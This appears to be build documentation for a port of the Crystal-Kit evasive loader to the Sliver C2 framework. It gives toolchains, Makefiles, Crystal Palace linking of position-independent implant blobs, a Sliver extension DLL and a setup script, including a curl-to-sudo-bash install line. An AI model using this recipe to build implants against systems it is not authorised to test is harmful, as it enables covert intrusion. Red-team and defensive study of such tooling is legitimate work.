| `x86_64-w64-mingw32-gcc` | MinGW-w64 GCC 15.2.0 | Cross-compile C sources to Windows x64 objects | `apt install mingw-w64` | `brew install mingw-w64` |
|
||||
| `nasm` | 3.01 | Assemble `draugr.asm` → `draugr.x64.bin` | `apt install nasm` | `brew install nasm` |
|
||||
| `java` (JRE) | OpenJDK 17 | Execute `crystalpalace.jar` linker | `apt install default-jdk` | `brew install openjdk@17` |
|
||||
| `make` | GNU Make ≥ 4 | Build orchestration | preinstalled | preinstalled |
|
||||
| `zip` | any | Pack operator drop bundle | `apt install zip` | preinstalled |
|
||||
| `curl` | any | Download Crystal Palace dist | preinstalled | preinstalled |
|
||||
|
||||
## 2. External dependencies (not in the repo)
|
||||
|
||||
| Artifact | Source | License | How to obtain |
|
||||
|---|---|---|---|
|
||||
| `crystalpalace.jar` + `link` wrapper | <https://tradecraftgarden.org/download/cpdist-latest.tgz> | BSD-3-Clause, © 2025 Raphael Mudge / AFF-WG | `curl -fsSL` + `tar -xz` (see §5) |
|
||||
| `libtcg.x64.zip` | Upstream Crystal-Kit repo | Upstream binary, license unstated (likely derived from QEMU TCG → LGPL/GPL) | `git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit` then copy |
|
||||
| Sliver server/client | <https://sliver.sh> | GPLv3 | `curl https://sliver.sh/install \| sudo bash` |
|
||||
|
||||
`libtcg.x64.zip` is required at build time because `postex-loader/loader.spec` and `loader/loader.spec` both contain `mergelib "../libtcg.x64.zip"`. The file goes at the same level as `loader/` and `postex-loader/` (i.e. inside `crystal-kit-sliver/`).
|
||||
|
||||
## 3. Verified build pipeline
|
||||
|
||||
### 3a. Object compilation (per loader)
|
||||
|
||||
From `crystal-kit-sliver/loader/Makefile` and `crystal-kit-sliver/postex-loader/Makefile`:
|
||||
|
||||
```makefile
|
||||
CC_64=x86_64-w64-mingw32-gcc
|
||||
NASM=nasm
|
||||
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/loader.c -o bin/loader.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/services.c -o bin/services.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/pico.c -o bin/pico.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/hooks.c -o bin/hooks.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/spoof.c -o bin/spoof.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cfg.c -o bin/cfg.x64.o
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/cleanup.c -o bin/cleanup.x64.o
|
||||
# loader/ only:
|
||||
$(CC_64) -DWIN_X64 -shared -Wall -Wno-pointer-arith -c src/mask.c -o bin/mask.x64.o
|
||||
$(NASM) src/draugr.asm -o bin/draugr.x64.bin
|
||||
```
|
||||
|
||||
**Verified outputs:**
|
||||
- `loader/bin/` → 8 `.o` + 1 `.bin`
|
||||
- `postex-loader/bin/` → 7 `.o` + 1 `.bin` (no `mask.c`)
|
||||
|
||||
### 3b. Crystal Palace link (PICO production)
|
||||
|
||||
The upstream Aggressor Script invokes the jar via Java reflection. The bundled `link` wrapper exposes a positional CLI:
|
||||
|
||||
```
|
||||
./link <loader.spec> <file.dll|file.o> <out.bin> [A=hex] [%KEY=value] [@config.spec]
|
||||
```
|
||||
|
||||
Variables relevant for our specs:
|
||||
|
||||
| Variable | Type | Used in | Purpose |
|
||||
|---|---|---|---|
|
||||
| `%ARGFILE` | string (path) | `postex-loader/loader.spec` | File whose contents become the embedded `dll_args` section read by `DllMain` |
|
||||
|
||||
Example invocation:
|
||||
|
||||
```bash
|
||||
./link \
|
||||
crystal-kit-sliver/postex-loader/loader.spec \
|
||||
/path/to/postex.dll \
|
||||
/path/to/out.bin \
|
||||
%ARGFILE=/path/to/args.txt
|
||||
```
|
||||
|
||||
**Verified outputs (sizes from local builds):**
|
||||
- Use case A (`loader/loader.spec` over a Windows DLL) → **117561 bytes** PICO
|
||||
- Use case B (`postex-loader/loader.spec` over a Windows DLL) → **111741 bytes** PICO
|
||||
|
||||
### 3c. Sliver Extension wrapper DLL
|
||||
|
||||
`crystal-kit-sliver/sliver-glue/wrapper/Makefile`:
|
||||
|
||||
```makefile
|
||||
CC_64 := x86_64-w64-mingw32-gcc
|
||||
CFLAGS := -Wall -Os -DBUILD_DLL
|
||||
LDFLAGS := -shared -Wl,--subsystem,windows
|
||||
|
||||
# Produces ../crystal-loader.x64.dll
|
||||
$(CC_64) $(CFLAGS) crystal-loader.c beacon_compatibility.c -o ../crystal-loader.x64.dll $(LDFLAGS)
|
||||
```
|
||||
|
||||
**Verified output:** 114051 bytes, PE32+ x86-64, exports symbol `go`.
|
||||
|
||||
A smoke test shellcode (`smoketest.asm`) builds in parallel:
|
||||
|
||||
```
|
||||
nasm -f bin smoketest.asm -o ../build/smoketest.bin
|
||||
# → 3 bytes: 31 c0 c3 (xor eax,eax; ret)
|
||||
```
|
||||
|
||||
## 4. End-to-end timing on macOS Apple Silicon (reference)
|
||||
|
||||
| Step | Elapsed |
|
||||
|---|---|
|
||||
| `apt`/`brew install mingw-w64 nasm openjdk@17` | ~3 min |
|
||||
| Download `cpdist-latest.tgz` (1.8 MB) | ~5 s |
|
||||
| `make -C loader all` | ~2 s |
|
||||
| `make -C postex-loader all` | ~2 s |
|
||||
| `make -C sliver-glue/wrapper all` | ~3 s |
|
||||
| `./link` Crystal Palace run | ~1 s |
|
||||
| `./bundle-implant.sh` (zip) | <1 s |
|
||||
|
||||
## 5. One-time setup script (Kali / Debian / Ubuntu)
|
||||
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -e
|
||||
|
||||
# 1. Toolchain
|
||||
sudo apt update
|
||||
sudo apt install -y mingw-w64 nasm default-jdk make zip git curl
|
||||
|
||||
# 2. Crystal Palace
|
||||
mkdir -p external/crystalpalace
|
||||
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
|
||||
| tar -xz -C external/crystalpalace/
|
||||
chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}
|
||||
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
|
||||
|
||||
# 3. libtcg from upstream
|
||||
git clone --depth 1 https://github.com/rasta-mouse/Crystal-Kit /tmp/ck
|
||||
cp /tmp/ck/libtcg.x64.zip crystal-kit-sliver/
|
||||
rm -rf /tmp/ck
|
||||
|
||||
# 4. Verify
|
||||
x86_64-w64-mingw32-gcc --version | head -1
|
||||
nasm --version
|
||||
java -version
|
||||
ls -la "$CRYSTAL_PALACE_HOME/crystalpalace.jar" crystal-kit-sliver/libtcg.x64.zip
|
||||
|
||||
echo "Setup OK. Now: cd crystal-kit-sliver && make -C loader all && make -C postex-loader all"
|
||||
```
|
||||
|
||||
## 6. Required environment variables
|
||||
|
||||
| Variable | Required for | Default behaviour |
|
||||
|---|---|---|
|
||||
| `CRYSTAL_PALACE_HOME` | every script under `sliver-glue/` that calls `./link` | scripts exit with error if unset |
|
||||
| `SLIVER_SERVER` | `generate-implant.sh --profile` mode only | defaults to `sliver-server` in `$PATH` |
|
||||
|
||||
## 7. Known toolchain gotchas
|
||||
|
||||
- macOS rosetta vs ARM64: brew installs native ARM binaries; the cross-compiled output is `x86-64` Windows PE so this works regardless.
|
||||
- MinGW-w64 ≥ 13 introduces `-fcf-protection` defaults that can break PIC. The Makefiles pass `-shared -Wno-pointer-arith`, no extra hardening flags. If your distro pins a different MinGW build, verify with `make` first.
|
||||
- `./link` and friends inside the Crystal Palace dist must be executable. The tarball usually preserves the bit, but after `tar -xz` some filesystems strip exec; fix with `chmod +x external/crystalpalace/dist/{link,piclink,coffparse,linkserve}`.
|
||||
- `libtcg.x64.zip` must be located at `crystal-kit-sliver/libtcg.x64.zip` (sibling of `loader/`). The spec files reference it as `../libtcg.x64.zip`.
|
||||
|
||||
## 8. Compiler flags rationale
|
||||
|
||||
The `-Wno-pointer-arith` flag is required because Crystal-Kit's loader code performs pointer arithmetic on `void*` (a GNU extension that GCC warns about by default but does not break).
|
||||
|
||||
The `-shared` flag instructs the compiler to emit relocatable code suitable for being merged by Crystal Palace into a single position-independent blob. This does NOT produce a Windows DLL on its own — the actual `.o` outputs are intermediate.
|
||||
|
||||
`-DWIN_X64` is consumed by `loader.h` to conditionally select 64-bit-specific struct layouts and macros.
|
||||
Reference in New Issue
Block a user